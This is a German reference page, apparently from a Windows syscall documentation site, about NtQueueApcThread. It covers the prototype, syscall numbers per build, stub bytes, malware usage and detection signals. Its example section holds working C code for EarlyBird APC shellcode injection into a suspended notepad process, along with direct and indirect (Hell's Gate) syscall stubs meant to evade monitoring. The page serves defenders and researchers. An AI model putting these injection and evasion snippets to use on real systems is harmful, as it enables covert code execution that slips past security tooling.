> Windows Syscalls
ntoskrnl.exeT1055.004T1055T1106

NtQueueApcThread

Reiht einen Usermode-APC (Asynchronous Procedure Call) in die Queue eines Zielthreads ein.

Prototyp

NTSTATUS NtQueueApcThread(
  HANDLE          ThreadHandle,
  PIO_APC_ROUTINE ApcRoutine,
  PVOID           ApcArgument1,
  PVOID           ApcArgument2,
  PVOID           ApcArgument3
);

Argumente

NameTypeDirDescription
ThreadHandleHANDLEinHandle auf den Zielthread mit THREAD_SET_CONTEXT-Zugriff.
ApcRoutinePIO_APC_ROUTINEinUsermode-Adresse, die der Thread ausführt, sobald er in einen alertable Wait eintritt.
ApcArgument1PVOIDinErstes Argument für ApcRoutine. Häufig als Payload-Zeiger verwendet.
ApcArgument2PVOIDinZweites Argument für ApcRoutine.
ApcArgument3PVOIDinDrittes Argument für ApcRoutine.

Syscall-IDs pro Windows-Version

Windows-VersionSyscall-IDBuild
Win10 15070x45win10-1507
Win10 16070x45win10-1607
Win10 17030x45win10-1703
Win10 17090x45win10-1709
Win10 18030x45win10-1803
Win10 18090x45win10-1809
Win10 19030x45win10-1903
Win10 19090x45win10-1909
Win10 20040x45win10-2004
Win10 20H20x45win10-20h2
Win10 21H10x45win10-21h1
Win10 21H20x45win10-21h2
Win10 22H20x45win10-22h2
Win11 21H20x45win11-21h2
Win11 22H20x45win11-22h2
Win11 23H20x45win11-23h2
Win11 24H20x45win11-24h2
Server 20160x45winserver-2016
Server 20190x45winserver-2019
Server 20220x45winserver-2022
Server 20250x45winserver-2025

Kernel-Modul

ntoskrnl.exeNtQueueApcThread

Verwandte APIs

QueueUserAPCQueueUserAPC2NtQueueApcThreadExNtQueueApcThreadEx2NtTestAlertZwQueueApcThread

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 45 00 00 00      mov eax, 0x45
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

Reiht einen regulären User-APC im Zielthread ein. SSN `0x45` ist über jeden ausgelieferten Win10/11-Build stabil. Ein eingereihter User-APC feuert nur, wenn der Zielthread in einen *alertable* Wait eintritt (`SleepEx(... TRUE)`, `WaitForSingleObjectEx(... TRUE)`, `MsgWaitForMultipleObjectsEx`, GUI-Message-Loop-Idles). Wird der Thread niemals alertable, bleibt der APC dauerhaft in der Queue — deshalb wurde `NtQueueApcThreadEx` mit `QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC` (Win10 1809+) eingeführt, das das Feuern erzwingt. EarlyBird-APC-Injection umgeht die Alertable-Anforderung, indem ein frisch erzeugter suspendierter Thread vor seiner ersten Instruktion adressiert wird.

Häufige Malware-Nutzung

Zwei Hauptvarianten missbrauchen das. (1) Klassische Remote-APC-Injection: einen Zielthread öffnen, einen APC einreihen, der auf `LoadLibraryA` oder direkt auf Shellcode in `ApcArgument1` zeigt, auf das Feuern warten. (2) EarlyBird: einen harmlosen Prozess suspendiert starten, den APC auf dem Primärthread einreihen, bevor der Loader läuft, dann fortsetzen — der APC feuert, wenn der Loader seinen ersten alertable Wait in `ntdll!LdrpInitializeProcess` erreicht. Verwendet von Lazarus (BISTROMATH), FIN7/Carbanak, Finfisher, der ursprünglichen APC+Atombombing-Kombi und Cobalt-Strike-`AddressOfPage`-BOFs.

Erkennungs­möglichkeiten

Es gibt kein dediziertes Sysmon-Event. ETW Threat Intelligence emittiert `EtwTiLogQueueApcThread` für prozessübergreifend eingereihte User-APCs — das ist das wichtigste kernelseitige Signal und was die meisten EDRs konsumieren. Der `PsSetCreateThreadNotifyRoutine`-Callback feuert nur bei Thread-Erzeugung, nicht beim APC-Enqueue, sodass EarlyBird durch die *Kombination* `CreateProcess(SUSPENDED)` + `NtQueueApcThread` + `NtResumeThread` aus einem Nicht-Debugger-Parent erkannt wird. Stack-Walk-Telemetrie bei APC-Delivery ist der Goldstandard: zeigt der Returnpfad nur ntdll-Frames mit einer APC-Routine in privatem Speicher, ist das hochkonfidente Injection.

Direkte Syscall-Beispiele

asmx64 direct stub

; Direct syscall stub for NtQueueApcThread (SSN 0x45, stable across all Win10/11)
NtQueueApcThread PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 45h          ; SSN
    syscall
    ret
NtQueueApcThread ENDP

cEarlyBird APC injection

// Spawn target suspended, write shellcode, queue APC, resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

SIZE_T size = shellcode_len;
PVOID  remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

// APC fires inside ntdll!LdrpInitializeProcess's first alertable wait.
NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);

cHell's Gate dynamic lookup

// Resolve SSN dynamically; even though 0x45 is stable, indirect syscalls hide it.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                            "NtQueueApcThread"));
set_ssn(ssn);
indirect_syscall_invoke(/* hThread, remote_shellcode, NULL, NULL, NULL */);

MITRE ATT&CK-Mappings

Last verified: 2026-05-20